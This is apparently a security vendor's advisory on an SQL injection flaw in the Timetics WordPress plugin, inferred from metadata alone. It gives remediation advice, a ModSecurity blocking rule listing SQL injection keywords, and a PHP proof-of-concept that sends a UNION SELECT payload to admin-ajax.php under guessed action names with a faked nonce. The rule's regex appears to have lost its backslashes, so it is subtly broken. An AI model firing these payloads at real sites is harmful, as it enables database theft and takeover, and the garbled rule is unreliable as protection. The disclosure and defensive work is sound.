Atomic Edge analysis of CVE-2025-15473 (metadata-based):
This vulnerability is a critical security flaw in the Timetics WordPress plugin. The plugin fails to implement proper access controls on a sensitive AJAX endpoint. Attackers can exploit this vulnerability to execute arbitrary SQL commands against the WordPress database. The vulnerability stems from missing capability checks and insufficient input sanitization.
Atomic Edge research infers the root cause from the vulnerability description. The plugin likely registers an AJAX action handler without verifying the user’s permissions. This handler accepts user-controlled parameters that are directly concatenated into SQL queries. The plugin does not use prepared statements or proper escaping. These conclusions are inferred from the description’s mention of SQL injection via AJAX endpoint. No source code confirms these details.
Exploitation targets the WordPress AJAX handler at /wp-admin/admin-ajax.php. Attackers send POST requests with the action parameter set to a Timetics-specific AJAX hook. The vulnerable parameter accepts SQL payloads that manipulate database queries. A typical payload would be a UNION-based injection to extract data from the wp_users table. Attackers can also use stacked queries if the database configuration permits multiple statements.
Remediation requires implementing proper capability checks using current_user_can() before processing AJAX requests. The plugin must use WordPress $wpdb->prepare() statements for all database queries. Input validation should restrict parameters to expected data types. The AJAX handler should verify nonces to prevent CSRF attacks. These measures align with WordPress coding standards for secure plugin development.
Successful exploitation grants attackers full database access. They can extract sensitive information including user credentials, personal data, and plugin-specific records. Attackers can modify or delete database content, potentially compromising the entire WordPress installation. The vulnerability enables privilege escalation by manipulating user roles in the database. In worst-case scenarios, attackers achieve remote code execution through database manipulation techniques.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-15473 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:15473,phase:2,deny,status:403,chain,msg:'CVE-2025-15473: Timetics SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2025-15473',tag:'WordPress',tag:'Timetics',tag:'SQLi'"
SecRule ARGS_POST:action "@rx ^(timetics_|tt_|timetics-)" "chain"
SecRule ARGS_POST "@rx (?i)(unions+select|selects+@@version|selects+user()|sleep(s*[0-9]|benchmark(|extractvalue(|updatexml(|exp(~|geometrycollection|polygon(|multipoint(|multilinestring(|multipolygon(|linestring(|'s+(and|or)s+[0-9]+=[0-9]+|'s*+s*[0-9]|'s*--s*-)"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15473 - Timetics SQL Injection via AJAX Endpoint
<?php
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
// The exact AJAX action name is unknown without source code
// Common patterns for Timetics plugin: timetics_, tt_, timetics-
$ajax_actions = [
'timetics_ajax_action',
'tt_ajax_handler',
'timetics-process',
'timetics_save_data',
'timetics_get_data'
];
// SQL injection payload to test for vulnerability
// This payload attempts to extract database version
$sql_payload = "' UNION SELECT @@version,2,3,4,5,6,7,8,9,10-- -";
foreach ($ajax_actions as $action) {
$ch = curl_init();
$post_data = [
'action' => $action,
// Common vulnerable parameter names in booking/calendar plugins
'id' => $sql_payload,
'appointment_id' => $sql_payload,
'service_id' => $sql_payload,
'user_id' => $sql_payload,
'nonce' => 'bypassed' // Nonce may be required but could be bypassed
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add WordPress authentication cookies if testing authenticated endpoints
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=xxx');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing action: {$action}n";
echo "HTTP Code: {$http_code}n";
// Check for SQL error indicators or database version in response
if (strpos($response, 'MySQL') !== false ||
strpos($response, 'MariaDB') !== false ||
strpos($response, 'SQL syntax') !== false ||
strpos($response, '5.') !== false && preg_match('/5.[0-9]+.[0-9]+/', $response)) {
echo "[+] Potential SQL injection vulnerability found!n";
echo "Response snippet: " . substr($response, 0, 200) . "nn";
} else {
echo "[-] No obvious SQL injection indicatorsnn";
}
curl_close($ch);
sleep(1); // Rate limiting
}
?>
